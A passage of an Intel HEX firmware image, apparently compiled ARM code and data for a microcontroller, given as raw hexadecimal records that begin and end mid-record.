79AF9ECE733780A2BBED1F2E7C04620\n:10EB5000F45603003CA4020024DD020040BB020086\n:10EB600020B90200F0B51F0004000D00160085B0AA\n:10EB70000221FFF761FE03AB00973200290020005D\n:10EB800015F084F9039B002B05D005480B2B05D00D\n:10EB90001800F2F75DFD43000120184305B0F0BDF9\n:10EBA00024DD0200F0B50D001E00002385B0070033\n:10EBB00011002800009302220F4BF3F7BFFBAB1CA0\n:10EBC0009B001800039313F0EEF9013D45603500FA\n:10EBD00007600700040008CD0C378360039B083BE7\n:10EBE000F618B54202D1200005B0F0BD002101CDDC\n:10EBF000F1F726FF01C7F4E7FFFF000070B51378B7\n:10EC000004000A3BD8B20F2809D90A00104811495C\n:10EC1000F3F706FD0025636A1860280070BD002523\n:10EC200052781B021A43E36AAB420AD1238C0025B7\n:10EC3000042BF2D108490648F3F7F2FC636A186026\n:10EC4000EBE7206BA90009589142E6D00135EBE7CC\n:10EC5000E0A50200855803009A580300F0B50400AF\n:10EC600085B00D00100003A9A26A1E0013F019FE62\n:10EC7000002809D12A000B490B48F3F7D1FC636A3D\n:10EC80001860002005B0F0BD0398FDF7C7FE030033\n:10EC9000B343F7D0030000962A0004490248F3F773\n:10ECA000BFFCECE741580300E0A5020059580300FF\n:10ECB000F7B51E0013780D000A3BD9B204001C48BA\n:10ECC0000F2904D850781B02184318F097FC0378DA\n:10ECD000184A019300235178019FB9421DD1417810\n:10ECE0008C4691788C4518D181788C46D1786145D5\n:10ECF00013D100290ED10F4A9B00D05CB04208D935\n:10ED000033002A000C490D48F3F78AFC636A186047\n:10ED10000020FEBDC1780029EDD001330432152B4F\n:10ED2000D9D12A0006490548F3F77AFCEEE7C04638\n:10ED3000C3120300FD580300B1580300E0A5020010\n:10ED4000CA580300F0B5137885B005000E00462BB5\n:10ED500047D101A9100013F0D4FD019B834240D09C\n:10ED600003781A000A3A0F2A0AD802000F2331004A\n:10ED70002800FFF79DFF01248440200005B0F0BD6E\n:10ED8000B32B2ED113F0B8FD040013F0B0FD0290A8\n:10ED90000378B62B25D1A73B220031002800FFF7CE\n:10EDA00087FF012403A98440029813F0AAFD039B66\n:10EDB0000290984203D09D2102A813F0B1FD0127D3\n:10EDC000029A039B9A42D8D00F2331002800FFF704\n:10EDD0006FFF3B00834002981C4313F088FD0290B4\n:10EDE000EEE7320003490448F3F71AFC6B6A00248B\n:10EDF0001860C2E7E2580300E0A50200F0B50F007A\n:10EE000087B0040004A938001E00019218F0FBFB33\n:10EE1000019B0500002B0FD1A4239B009F4205D12D\n:10EE2000BF210902200014F089FDBDE0BD4B9F42C7\n:10EE300000D083E0BC49F5E7019B012B00D095E0B1\n:10EE40000A23FF339F4212D1010032682000FFF7EE\n:10EE5000D5FE0100200014F0BBFD002800D0A3E087\n:10EE6000B249B348646A13F0E4F820609CE0B14B07\n:10EE70009F4209D1010032682000FFF7BFFE010068\n:10EE8000200014F0FBFDE8E7AB4B9F420AD10100E4\n:10EE90000F2332682000FFF70BFF8E21C000C9014D\n:10EEA0000143BFE70378622B31D1049B032B07D0CA\n:10EEB000052B2CD1C3785F2B29D103796E2B26D15A\n:10EEC0000127002269789D4B7F425878884205D1FE\n:10EED000A87884469878844500D11F78013203339E\n:10EEE0000E2AF2D17B1C29D0326829002000FFF7BE\n:10EEF00085FE049902000023052903D12B79773B75\n:10EF000059424B413900200014F07EFDA5E78C4B9F\n:10EF10009F4201D18B4985E78B4B9F4201D18B49A1\n:10EF200080E78B4B9F4212D1290032682000FFF707\n:10EF300009FFFF231B02B421184215D0019B2A00B0\n:10EF400084497B48F3F76CFB636A18602CE0824BC2\n:10EF50009F42F3D1326829002000FFF7F3FEFF2320\n:10EF60001B021842EAD1BC21090299E7019B022B3E\n:10EF700000D024E17368794A1B780A3B0F2B4BD8E9\n:10EF8000974213D101000F2332682000FFF790FE53\n:10EF90007268070029000F232000FFF789FE39005F\n:10EFA0000200200014F0FDFC07B0F0BD6C4B9F4246\n:10EFB00015D18027FF013268290007232000FFF7C1\n:10EFC00077FE72680190290007232000FFF770FE8A\n:10EFD000019A03003900200014F0DCFCE4E700276C\n:10EFE000604B013302930322029928001AF04AFB76\n:10EFF00000280AD1EB78002B07D15A4BBF00DF5D08\n:10F0000080233F01DB011F43D5E7029B0137043317\n:10F0100002930F2FE7D191E7974219D18027072359\n:10F02000326829002000FFF743FEFF2301902900EA\n:10F0300072682000FFF712FE019BBF01074319020F\n:10F040003943EFE6A027EAE7C027E8E7E027E6E74D\n:10F0500087239B009F42F5D01E3B9F42F4D0424B3A\n:10F060009F42F3D0414B9F4251D0414B9F4250D0E1\n:10F07000404B9F424FD04F339F424ED03E4B9F421A\n:10F080004DD03E4B9F4200D058E705233C4A9B00A1\n:10F090009B5A29000293326807232000FFF708FEDD\n:10F0A000766803903378452B6CD1300013F064FC04\n:10F0B000002867D1300013F01FFC0378A62B61D124\n:10F0C00005A913F01EFC0599060013F004FC0228A4\n:10F0D00058D1300013F00BFC072332000700290041\n:10F0E0002000FFF7E5FD029B0600DB0452D51F233D\n:10F0F0003A0029002000FFF7B1FD0299039BF600BA\n:10F1000019433143F8268001F6003040C8E6002359\n:10F11000BCE70123BAE7019BB8E70323B6E7042362\n:10F12000B4E7C046E602000030BF0000F15703001C\n:10F13000E0A502000B0200000F02000002570300CE\n:10F140002202000072B600002302000062B6000036\n:10F150009F020000BC5703009A02000089020000D1\n:10F160000102000005580300C50200006E02000005\n:10F170006F02000071020000C1020000C302000023\n:10F180002A0403002A003F493F48F3F749FA636A1B\n:10F190001860D3E66B4608229B5E002B07DA3E23FD\n:10F1A0003A0029002000FFF759FD4008A5E77C231D\n:10F1B0003A0029002000FFF751FD80089DE7019BE0\n:10F1C000032B00D0BAE69E239B009F4221D100274B\n:10F1D0000723326829002000FFF76AFD072301900A\n:10F1E000726829002000FFF763FD1F2302902900A9\n:10F1F000B2682000FFF732FD81010198029B38437D\n:10F200000143DF001CE780273F01E1E780277F0102\n:10F21000DEE71E4B9F42F6D01D4B9F42F6D0093BC6\n:10F220009F4229D1C0270723326829002000FFF719\n:10F230003FFD07230190726829002000FFF738FD89\n:10F24000B2687F01137802900A3B0F2B0BD807237B\n:10F2500029002000FFF72CFD029B8001D900019BB3\n:10F26000194339431CE68023DB001F432900072391\n:10F270002000FFF7F3FCEFE7064B9F4200D05DE66E\n:10F28000D027D0E791570300E0A5020079020000E3\n:10F2900007020000C5020000F7B50E0007001100CC\n:10F2A000300013F018FB0025040004281ED97C6AE6\n:10F2B0001349144812F0BDFE206000242000FEBD5A\n:10F2C00073780002184318F099F9023601901AF089\n:10F2D000D2F9022811D1019B1B78722B0DD1019B11\n:10F2E0005A782B0030339A4207D10135A542E5D038\n:10F2F00030780A38C3B20F2BE2D97C6A0249D8E7CA\n:10F300002C570300E0A502005F570300F0B54868E2\n:10F3100087B00F00FDF756FB041E02DA0020F1F75C\n:10F32000B1FFBB68164A01939D186B1E9D410100F9\n:10F3300002A818F07AF8049E2200002130001AF08A\n:10F3400046F93868EDB2C3070AD433002200290019\n:10F3500013F061FB02A90B48F9F78EFD07B0F0BD71\n:10F3600043102000042C00D904200749019F0022EB\n:10F370008F4200D0221AB218290014F04AF9E9E7A6\n:10F380005AECFFFF20B90200A6130000F0B50C00F4\n:10F3900087B0012203A96068FDF7CEFCA36813497A\n:10F3A000039A8B420DD10126049976424C1E01919D\n:10F3B0001419049900200D00002D05D113F079FBDC\n:10F3C0000DE014000126F4E7094F013DB84208D9C9\n:10F3D00008481B18581E8341D8B213F00DFB07B024\n:10F3E000F0BD277800023843A419E5E7A613000012\n:10F3F000FFFF3F005AECFFFF70B546007508041C84\n:10F40000291C281C0CF048FB002811D11949281C84\n:10F410000CF042FB00280ED11649281C0BF00CFC06\n:10F42000002808D11449154812F003FEF8F738F8FF\n:10F430001348F1F727FF002C10DA002E06D0FF2327\n:10F44000DB05E3189C22D20593420AD8201C0CF05D\n:10F4500039FB012540000543280070BDE30DDB05A5\n:10F46000F0E7F6F7C5FB211C0500043017F0F2F8B1\n:10F47000F2E7C046FFFF7F7F615903002CA5020021\n:10F480007A590300F0B50C00002585B0110020006A\n:10F490001E00009502232A00F2F750FF0120AC4223\n:10F4A0002BD0844231D13068204226D1032303403F\n:10F4B000AB4203D11C4A016891421ED01B4A024054\n:10F4C000062A06D0002B0DD10268194B92699A4288\n:10F4D00008D103A9FAF75AF900231A000399FBF798\n:10F4E00011FF0AE0032302001A40022A07D1FF227B\n:10F4F000D20580189843FFF77FFF05B0F0BDFDF7F8\n:10F5000061FA012340001843F7E703A93068FAF7CE\n:10F510003DF904007068039FFDF754FA2B000200C8\n:10F5200039002000DBE7C04604C60200070080FF68\n:10F53000199D0000F8B51F000B4B15005B18013B2F\n:10F5400019780BF0A9F900260400B74204D0013065\n:10F5500003210BF0A1F90600281E01D01AF08BF848\n:10F560000334A4192018F8BD51590300F0B58DB02B\n:10F570000A9214AA177815AA127805000C000792AF\n:10F58000DA0743D55B1004935CD400230693139AE7\n:10F59000079B12992020FFF7CDFF23680590834237\n:10F5A00004D212F000FD059B2860236000222E6823\n:10F5B000059BF418631E1A70049A002A47D00A3F6C\n:10F5C000099308930B97049F129938000BF0EAF9FE\n:10F5D0000B0004903033092901D90B9B5B18089A62\n:10F5E000541E2370079B002B4DD0129B9F4231D39A\n:10F5F000A6422FD2099B1B1B032B05D1079B013C65\n:10F600002370A64226D209940894DCE79A0712D107\n:10F61000264A196891420ED1079A21000392139A43\n:10F6200002970192129A00920A9A13F0BBF9040011\n:10F6300020000DB0F0BD00232A6813700A9A2C68D0\n:10F640001360F5E7049B5B4204932D239EE7302370\n:10F65000023C2370139B002B05D018001AF00BF806\n:10F66000201A864220D3069B002B04D0B44202D934\n:10F67000069B013C23702B68059A9B181B1B0A9A5A\n:10F68000013B1360D4E7A642E4D2129B9F42BBD257\n:10F69000E0E7C2540133139AD25C002AF9D1069BE9\n:10F6A0000400002BE4D1E6E70023F4E704C60200DF\n:10F6B0001300144A10B50400934204D10122200023\n:10F6C000F1F7E8FD10BD104A934201D10322F6E79D\n:10F6D0000020072CF6D10D4A1A40062A0ED09A07B0\n:10F6E000F0D11A680A4CA24208D00A4CA24205D0B6\n:10F6F000094CA24202D0094CA242E3D10A000720E1\n:10F700001900DDE7ACAD0200B4AD0200070080FFD8\n:10F7100040BB020020B902006CD10200FCC1020013\n:10F7200070B51500040014F0FDFC2A000249200009\n:10F7300014F0B7FC70BDC0460941020070B54379B2\n:10F740000D000024032B06D9836A074C9200E41AAB\n:10F75000C369D358E418032114F0D6FC4470241272\n:10F760000570847070BDC046FD7F0000F7B50023B2\n:10F770000400617183608371E260036101330F00F3\n:10F7800015004361032906D80121836949429A0083\n:10F79000C06919F01CFF0023A3622362AA8BEB8BC4\n:10F7A000D218002A00D10132384E2000310014F066\n:10F7B00078FC2A8C3100200014F073FCE3682000F0\n:10F7C000197D14F09AFCE3682000997D14F095FCF3\n:10F7D000E3682000197E14F090FCE3682000997E15\n:10F7E00014F08BFC042F27D1636A226A31009A1A25\n:10F7F000200014F056FC3100EA89200014F051FC7E\n:10F800003100AA89200014F04CFC0026AB8CB342D6\n:10F8100017DCFF21200014F085FC042F35D1EA8A83\n:10F820002B8B0237D31801930023019A9A422CD0D4\n:10F83000AA8C0021009223E00221200014F051FC48\n:10F84000D9E7AA6AF300D3181A78032A03D1997862\n:10F85000200014F067FC0136D8E70126A86ACA0028\n:10F860008218507830420AD05088984207D15268A6\n:10F87000D200606B99003A430A500133D5E7013159\n:10F88000009A8A42E9DC0222F2E7F7BDE340020077\n:10F89000F7B5224B0500A8331B680191022B29D82C\n:10F8A00047698F4226D2836A0269CF1B9C1A062FB2\n:10F8B00001D90F2C1FD900941F2C01D91F230093AD\n:10F8C000009B0026A34203D33E00032F00D903264A\n:10F8D0000121280014F005FC009A73011343037002\n:10F8E000009BBF1BE41A23003B43E0D1AB6A2B61B2\n:10F8F000019B6B61F7BD0A4B3E009F4200D91E0081\n:10F900000221280014F0EDFB702233091340234339\n:10F91000F03A1343037046700094E1E7842E002010\n:10F92000FF07000070B50D000121040014F078FC01\n:10F930000E2D14D00F2D17D010210D2D10D0172102\n:10F94000200014F0EFFB0322A36A04210333934346\n:10F95000A362200014F0D8FB044B036003E01121E4\n:10F96000200014F0DFFB70BD1221F9E7FCE002007B\n:10F97000F8B5174F05000C0016000F40002A1AD1E9\n:10F98000110014F04DFC23040FD53221280014F08F\n:10F99000C9FB3221280014F0C5FB3221280014F0E5\n:10F9A000C1FB3221280014F0BDFB3A0035212800AC\n:10F9B000FFF7C4FEF8BD3A004621FFF7BFFE7F23E4\n:10F9C000210A99433143C9B2280014F0ABFBF1E797\n:10F9D000FF7FFFFF004870470148E80110B5FCF7C2\n:10F9E000F1FF80F31088014810BDC04624DD0200FD\n:10F9F0000300203B5E2B00D93F20052320384343E2\n:10FA0000014A1068C018704768000020044B0B6062\n:10FA100043684B6083680800CB6000238B607047AD\n:10FA200058C7020070B50500080068430130401057\n:10FA300008300C0012F0B7FA0122044B8571036004\n:10FA4000037944719343037170BDC04664CA0200D8\n:10FA500010B50379DB0702D50148F1F7D7FD10BDDA\n:10FA60009359030070B50500202012F09CFA05217F\n:10FA70000B4B040003600800FFF7D4FF6B68EA68D3\n:10FA8000A060236162602A7C2000A276AA689B188D\n:10FA900063616B7CE37614F0D5FF200070BDC04637\n:10FAA000A8CA020070B50D000400FFF7D1FF2800BE\n:10FAB000FCF788FF0100092802D90448F1F7E2FBAE\n:10FAC000200015F02AF8024870BDC0465D440300CE\n:10FAD00024DD0200F7B5C3684269040093420BD1EC\n:10FAE000037E052B08D1C37E181E43D0200014F0DE\n:10FAF000A9FFA06815F01FF8012500266B1E0193D1\n:10FB0000A76832002900380014F0D3FF3200030048\n:10FB100001993800013614F0D9FF052EF0D10135D6\n:10FB2000052DEAD100252A0000230421A068013513\n:10FB300014F0CCFF052DF6D1227E637E9A421AD2B4\n:10FB4000207FFFF755FF002507000426227E7B5DFE\n:10FB5000B21A1341012213400832534304212A00F0\n:10FB6000A068013514F0B2FF052DEFD1237EA06807\n:10FB700001332376FEBD9A42F8D1E36861695A1CCD\n:10FB8000E2608A4205D120232377A023DB00238370\n:10FB9000ECE75878A67E2077002E01D0074BF6E7D9\n:10FBA000FFF726FF3100050014F02CFF40422076BD\n:10FBB000280014F036FF01306076D7E7FF0500001B\n:10FBC000F0B50C000B6889B0070018000493FFF72C\n:10FBD0003FFF65682800FCF711FE1E4B984202D0DB\n:10FBE0001D48F1F713FD072F01D11C48F9E7A06864\n:10FBF000FCF7E8FE0690E068FCF7E4FE0790206959\n:10FC0000FCF7E0FE05906069FCF7DCFE059B060052\n:10FC1000002B01DB002802DA1148F1F733FB062F35\n:10FC200014D0A069FCF7CEFE0700E069FCF7CAFE1D\n:10FC3000059B03900093280002970196079B069A64\n:10FC4000049914F0A5FF074809B0F0BD0020070093\n:10FC5000EEE7C04664CA0200C0590300D35903004E\n:10FC6000ED59030024DD020070B504000800160001\n:10FC7000FCF7A8FE05003000FCF7A4FE0600002DEE\n:10FC800001DB002802DA0C48F1F7FCFA200014F03E\n:10FC90006AFFA84204DD200014F073FFB04201DCCB\n:10FCA0000648F1E732002900200014F04FFF43001E\n:10FCB0000120184370BDC046305A0300495A030062\n:10FCC000F8B50D000C682000FFF7C2FE6868FCF76D\n:10FCD00079FE0600A868FCF775FE0700002E01DB20\n:10FCE000002802DA0F48F1F7CDFAE868FCF76AFE5F\n:10FCF0000500092801D90C48F5E7200014F033FF6E\n:10FD0000B04204DD200014F03CFFB84201DC07489B\n:10FD1000E9E72B003A003100200014F0D7FE044838\n:10FD2000F8BDC046305A03005D440300495A030041\n:10FD300024DD0200F7B50E0025490400019213F0FE\n:10FD400044F9019B002B03D12249200013F03DF917\n:10FD50002149200013F039F90025300014F011FF7B\n:10FD6000A84225DD0027300014F0FDFEB8420CDD6E\n:10FD700039002A00300014F0E9FE184B18491A5CCB\n:10FD8000200013F022F90137EDE71649200013F0A7\n:10FD90001CF9019B002B09D1300014F0F2FE013850\n:10FDA000A84203DD1049200013F00FF90135D4E714\n:10FDB0000949200013F009F9019B002B03D10B49DD\n:10FDC000200013F002F90A49200013F0FEF8F7BDF5\n:10FDD000D65A0300DD5A0300E95A0300EB5A030028\n:10FDE000DC180300DB600300E35A03008E6F03009E\n:10FDF000BD420300F0B50E00110000228BB01C00C4\n:10FE0000009203233000F2F799FA032E00D9CBE0D9\n:10FE100030000AF02DFD020A898905210800FFF74C\n:10FE200001FE029014F087FE18E020685F4B03404B\n:10FE3000062B07D0830700D073E05D4B02689A421F\n:10FE400000D06EE007A9F9F7A1FC079B0590049389\n:10FE5000012B06D1007815F09FF8029002980BB0A4\n:10FE6000F0BD00231E001A0003930499914216DD91\n:10FE70000599895C0A2901D03A2908D19E4200DA05\n:10FE80001E00039B0133039300230132EDE701338E\n:10FE90002029FAD03929F8D94648F1F7F3F9002B8F\n:10FEA00005D0039A013203929E4200DA1E00002719\n:10FEB00003993000FFF7B6FD3D003C000290049B23\n:10FEC000BB4221DD059BDB5D0A2B01D03A2B0DD116\n:10FED000A64207DD210000232A00029814F0F6FD57\n:10FEE0000134F5E7002401350137E8E7202B07D17D\n:10FEF000002321002A00029814F0E8FD0134F3E702\n:10FF0000392BF1D8303BF4E7039BAB42A6DDA64288\n:10FF1000A4DD210000232A00029814F0D7FD01344B\n:10FF2000F5E72548F1F772FB2068FCF74BFD05006B\n:10FF30006068FCF747FD010007002800FFF772FD2D\n:10FF40000290022E00D16DE7012207A9A068FCF7FC\n:10FF5000F3FE002D0ADB002F08DB089B002404932E\n:10FF60003B006B43049A0394934205D0134894E7F3\n:10FF7000039B01345B190393BC4200D16EE700265A\n:10FF8000AE42F5D0039A079B9446049363449A5D6E\n:10FF9000131C092A00D909233100DBB22200029880\n:10FFA00014F094FD0136EBE70548BBE7070080FF3E\n:10FFB00040BB0200595A0300825A03009A5A0300B8\n:10FFC000B75A0300F0B585B00191050000210198F2\n:10FFD0000AF028FE041E02D02148F1F753F9280048\n:10FFE00014F0C1FD0600280014F0CBFD0100300024\n:10FFF000FFF718FD0700280014F0B5FDA0422BDD27\n:020000040001F9\n:10000000002632002100280014F0A0FD0BF07AFD3C\n:1000100001990BF087FA0DF0EFFB0022114B0BF06A\n:10002000FBFD114B0022029003910AF0C1FD092350\n:10003000002804D0029803990DF06CFB03003200F5\n:100040003800210014F042FD2800013614F08BFD29\n:10005000B042D6DC0134CEE7380005B0F0BDC04672\n:10006000055A03000000E03F00002240F0B587B0D1\n:1000700007000391059214F084FD0400380014F089\n:1000800072FD0190039814F07CFDA04202D01A4842\n:10009000F1F7F8F821000198FFF7C4FC0025029061\n:1000A000019B9D4224DA0026A6421FDA3200290075\n:1000B000380014F04BFD320004902900039814F02E\n:1000C00045FD059B002B0BD0049B1B18092B00DD65\n:1000D000092332002900029814F0F8FC0136E3E706\n:1000E000049B1B1ADA43D2171340F2E70135D7E716\n:1000F000029807B0F0BDC046F65A0300F8B50400F8\n:1001000008000D001600FCF779FB164FB84201D02D\n:1001100000200FE0053C042CFAD820000AF09EFBDA\n:10012000141403F80B003000FCF7B2FC011C28008B\n:10013000FFF748FFF8BD3000FCF7AAFC011CFE20C9\n:1001400080050BF019F8F1E73000FCF757FBB842D7\n:10015000DED1624262413100D2B22800FFF786FF51\n:10016000E8E7C04664CA0200F7B50700019314200F\n:1001700008AB0E0015001C7811F015FF044B47600A\n:100180000360019B8660C56003744474FEBDC04675\n:10019000E4CA020070B505000C2011F004FF05212F\n:1001A000044B0400456003600800FFF73BFCA060BF\n:1001B000200070BD0CC70200044B88600B60044B2C\n:1001C00008004B600023CB607047C04684DC02000F\n:1001D000F54F0200044B0B60037A0B714368080073\n:1001E0008B600023CB60704714CC020010B5040074\n:1001F0000C2011F0D8FE034B44600360022303720D\n:1002000010BDC04650CC020010B5043017F0A4FB5E\n:10021000004810BD24DD0200002803D0012808D0CA\n:100220000020704707224B6804489343F9D10448E3\n:10023000F7E74B68DB085B001843F2E7B4AD020058\n:10024000ACAD02000B6870B506000D00181D4968C2\n:10025000140006F0ADFA002802D04368002B10D13C\n:10026000022E08D1094B022C06D16968084811F00A\n:10027000D9FEF7F715F9AB68012C00D143601800DF\n:1002800070BD022CFBD100224260F8E724DD0200A1\n:1002900088A3020070B504000D000B7A164A9B007B\n:1002A00086B0995812F0D3FD1449200012F0CFFD0A\n:1002B000134B02AA02932B7A012613716B680193E8\n:1002C00004930023059302A814F09EFE051E05D199\n:1002D0000C49200012F0BBFD06B070BD002E03D10A\n:1002E0000949200012F0B3FD012229002000FCF78B\n:1002F0009DFA0026E7E7C0468CCC02005C5B030059\n:1003000014CC02005F5B0300C8070300F0B513685C\n:100310001400012287B00F680D000092D908022353\n:100320000600F2F70BF8022E12D10323686803408F\n:1003300018D101682A4AC968914213D12A689042AB\n:1003400006D0059305A9686814F041FE061E01D188\n:1003500000253EE0381D0122316806F029FA736855\n:100360004360EFE70021F0F76BFB03900398F0F791\n:10037000C9FB0028ECD00021F0F762FB0500F0F784\n:10038000C1FB02902800F0F7BDFB06002800F0F743\n:10039000B9FB029B002B03D0002E01D0002802D015\n:1003A0001048F0F76FFF381D0122029906F000FA9D\n:1003B0004660DBE7A368EE009E193168002907D08C\n:1003C000042905D0381D012206F0F2F97368436054\n:1003D00001356368AB42EDD8034807B0F0BDC046B5\n:1003E00055060100365B030024DD020030B5002510\n:1003F00085B001A90400019514F0E9FDA84203D1DC\n:1004000009490A4811F01EFD636802A9083B6360B0\n:100410000368029343680393042328C0022002F078\n:1004200069FB05B030BDC046135B030088A3020022\n:10043000F7B50C0015001B280CD000221F2807D18F\n:10044000081D290006F0B4F92B4A002800D12B4AD8\n:100450001000FEBD03222B001340114225D1284974\n:1004600022688A4221D1002BF1D1296891421ED104\n:10047000009301936946200014F0A9FD01A907002B\n:10048000280014F0A4FD0600002F31D00028DED093\n:1004900031683868FCF744FA0028D8D07168786869\n:1004A000FCF73EFA0028E5D1D1E7002BCFD1154B60\n:1004B0002A689A42CBD16A68636853400722934303\n:1004C000C5D1019301A9200014F081FD061E01D1C0\n:1004D000094ABDE7281D0022316806F069F90028A5\n:1004E000B5D041687068FCF71BFA0028EAD1AEE786\n:1004F000014A0028ABD1ABE7B4AD0200ACAD0200BD\n:10050000D4CC020098CC0200F7B50B681C4A04005A\n:100510000D00934203D05A681A4912F056FD1A4949\n:10052000200012F094FC00230127019301A9280068\n:1005300014F04DFD061E0CD11449200012F087FC6A\n:100540002B680F4A934203D01149200012F07FFC20\n:10055000F7BD002F03D10F49200012F078FC0122D3\n:1005600031682000FCF762F90B49200012F06FFCA3\n:10057000012271682000FCF759F90027D6E7C04630\n:1005800098CC0200325B0300540C0300FB580300BC\n:10059000BD420300C80703008A14030010B504001D\n:1005A0000C2011F000FD034B446003600023037234\n:1005B00010BDC04650CC020010B504000C2011F054\n:1005C000F2FC034B446003600123037210BDC0467C\n:1005D00050CC020010B5043000220C0006F0E8F800\n:1005E000002805D12100034811F01CFDF6F758FF43\n:1005F000406810BD88A3020010B5024B08C017F078\n:100600008FF910BD98CC0200F8B50E00070000214C\n:100610007068F0F715FA0E4C0500022F00D9B46887\n:100620007068FCF7E9FA002809D114F017FD0600FC\n:100630002800F0F767FA011E03D13000F8BD401022\n:10064000F3E7331D0122180006F0B2F84460EFE72B\n:1006500024DD0200F0B5070089B000201E000D0067\n:10066000019214F0FBFC0E4B040007609F4203D183\n:100670000423027913430371019B2B430DD033688C\n:10068000AA00B218019905A80394049317F056F92B\n:10069000681C05AA03A9FFF739FE200009B0F0BDC8\n:1006A000D4CC020010B50C00002A03D114F019FDBF\n:1006B0000A480EE0042A0DD10430002206F078F832\n:1006C000002805D12100064811F0ACFCF6F7E8FE41\n:1006D000406810BD14F0FBFCEAE7C04624DD0200D0\n:1006E00088A3020070B504000800FCF76BF9050050\n:1006F000431002D00F48F0F7C5FD0F49200002F06B\n:100700003FFC002807D0A02203216379D205C13322\n:10071000FF339B009950012362799340A022D205B8\n:10072000002D04D0A121C9000448535070BD0449D4\n:10073000FAE7C046D05B0300C4D2020024DD020009\n:100740000C05000070B505000800FCF73BF90B2311\n:1007500003410400DB0702D40948F0F793FD2800A9\n:10076000084902F00DFCFF22A40092001440A022D0\n:100770006B79D205C133FF339B0003489C5070BD99\n:10078000A25B0300BCD2020024DD020010B50C49BC\n:10079000040002F0F5FBA022D205002805D00421B8\n:1007A0006379C133FF339B00D150A223DB00D058C3\n:1007B0006379D8400123184012F060F910BDC0469B\n:1007C000BCD2020010B5040002F0A6FB0A4B98420E\n:1007D00005D00A4B984202D0200002F0ABFBA022C9\n:1007E0006379D205C133FF339B0098580007800F0F\n:1007F00012F044F910BDC046BCD20200D4D20200AF\n:10080000032370B50B4004000800022B14D1194BD0\n:100810000B40062B10D0FCF73BF90CF0EDFF00224B\n:10082000154B0BF0F9F90CF075FF144B05009842CD\n:1008300005D91348F0F726FDFCF7C4F8F5E7114990\n:10084000200002F09DFB002807D0A022032163793D\n:10085000D205C133FF339B00995060792900F0F72E\n:10086000FBFF002D03D10849200002F089FB074857\n:1008700070BDC046070080FF0000E03FFF0300009E\n:10088000AF5B030004D30200B4D2020024DD0200F7\n:1008900013B50A49040002F073FB0521684661564E\n:1008A00009F09EF8684609F0C1F8A0230021044A27\n:1008B000DB00D15012F0E2F816BDC046B4D20200FF\n:1008C0000070004010B50800FCF77CF8FA239B008C\n:1008D0005843F0F79DFF002802D00248F0F7D2FC01\n:1008E000014810BD935B030024DD020010B5080031\n:1008F000FCF768F8F0F78CFF002802D00248F0F708\n:10090000C1FC024810BDC046935B030024DD020019\n:1009100010B5040002F000FB0C4988420DD00C4BCE\n:1009200098420AD0200002F02BFBA022002163791C\n:10093000D205C133FF339B0099502000F4F79AFD94\n:10094000044B002800D0044B180010BDECD202006C\n:10095000D4D20200B4AD0200ACAD0200A0230C2240\n:100960000249DB055A5024315A50704744070000B1\n:1009700010B50400FBF742FF064B984208D0064B27\n:10098000984205D0054B984202D00548F0F73EFE4C\n:10099000200010BDD0CF020088CE0200C4CE0200DD\n:1009A000835B0300F0B585B005001600080003ABBB\n:1009B00002AA01A912F0DDFD0398304FB84209D018\n:1009C000032807D0FBF7FEFFB060002804D12C48B5\n:1009D000F0F758FC0123B3600198B8421FD10024FE\n:1009E000B368A34200DC6C1E0298B8421BD1002001\n:1009F000B368834200DD2800B368002C1BDA2C1991\n:100A000000D5DC17002822DA281801D50120404241\n:100A1000002B2FDA0130A04221DD601C1FE0FBF724\n:100A2000D1FF0400E0E7FBF7CDFF0028E4DBB3686B\n:100A3000DB0FC018E0E7002B03DDA542E2D22C005B\n:100A4000E0E7002BDED0A542DCD86C1EDAE7854259\n:100A500000D22800002B0ADDA04200DA2000013B72\n:100A6000706058425841C0B2346005B0F0BD002BF0\n:100A7000D1D1F4E7002BEFD1F1E7C04624DD02002D\n:100A8000E55B0300F0B5060085B017001B2805D113\n:100A90000A9A974209D0002005B0F0BD19281BD052\n:100AA0001C281BD00A9A0A9717001A000B00110085\n:100AB0000A9A0192BA4200D901971D000C00002346\n:100AC0000093009B019A93420AD10A9BBB4221D01A\n:100AD0000020BB4240411BE01A26E9E71D26E7E75C\n:100AE0000295039401CD02CCFBF71AFF002802D037\n:100AF000009B0133E4E71B2ECDD0039B30001A6826\n:100B0000029B1968F0F7C6FB054BC01A43425841D7\n:100B1000C0B2C1E730001A38431E9841F8E7C0461A\n:100B2000B4AD0200F0B51E0085B0039018680D004A\n:100B30001700FBF763FE7368019002930024022FF5\n:100B40000ED90123B2682900FCF716F80400032F20\n:100B500006D029000123F2680198FCF70DF8050082\n:100B6000A54202D80848F0F78DFB039AA30002992A\n:100B7000D058FBF7D5FE002801D10134F0E7012061\n:100B80006400204305B0F0BDFF5B030010B5040016\n:100B9000080014F05FFB0300002C05D00020012C9E\n:100BA00006D15800204303E00248002B00DC024835\n:100BB00010BDC046B4AD0200ACAD020043684B604E\n:100BC00083688B60C3680800CB60014B0B60704783\n:100BD00048D00200F0B50E00002785B01100039048\n:100BE0001D000122032330000097F1F7A7FB10201E\n:100BF00011F0D9F9039B0400036001234760C3602F\n:100C000028689E4205D1FBF7DDFEA060200005B0FC\n:100C1000F0BDFBF7D7FE60606868FBF7D3FEA0600D\n:100C2000032EF3D1A868FBF7CDFEE0600028EDD1DC\n:100C30000148F0F727FBC046165C030070B50D00B5\n:100C40004A688B680849040012F0BFF9EA68012A73\n:100C500004D10649200012F0FAF870BD04492000C2\n:100C600012F0B3F9F9E7C046205C0300BD4203006F\n:100C70002D5C030030B5040087B00D000020042A6D\n:100C800025D1200014F0E6FAAB0722D1184B2A68D0\n:100C90009A421ED103AA2900FFF784FE102011F00A\n:100CA00082F9144BE2680360039B616853435B184D\n:100CB0004360049B6168019353435B18059983600B\n:100CC0004A43C260002902DAE2689B1A836007B0D7\n:100CD00030BD002301002A002068FBF74DFFE368C8\n:100CE00058436368C018012340001843EFE7C0462B\n:100CF00044BC02000CD00200136810B51400002B95\n:100D000005D1A42904D1406811F0B8FE206010BDBF\n:100D1000B9235B00994201D18068F5E7024B994203\n:100D2000F5D1C068F0E7C046BF02000010B5024B25\n:100D3000672214F025FB10BD9F5C020010B5024B2A\n:100D4000972214F01DFB10BD411F0100F8B50F00E4\n:100D500011001A00002304008579466983714361FC\n:100D60000E4B14F00DFBA368002B15D1E18A00296E\n:100D700008D0A38A002B05D1206B13F029FD206B2E\n:100D800013F0A6FBA38AE28A3900200014F0A9FA26\n:100D90006B1E9D416661A571F8BDC0465D1B0100DB\n:100DA00010B54379C26A012B03D1100015F03CFA4B\n:100DB00010BD0B00006B024915F060FAF8E7C04661\n:100DC00050C602007FB50B7804000D004E1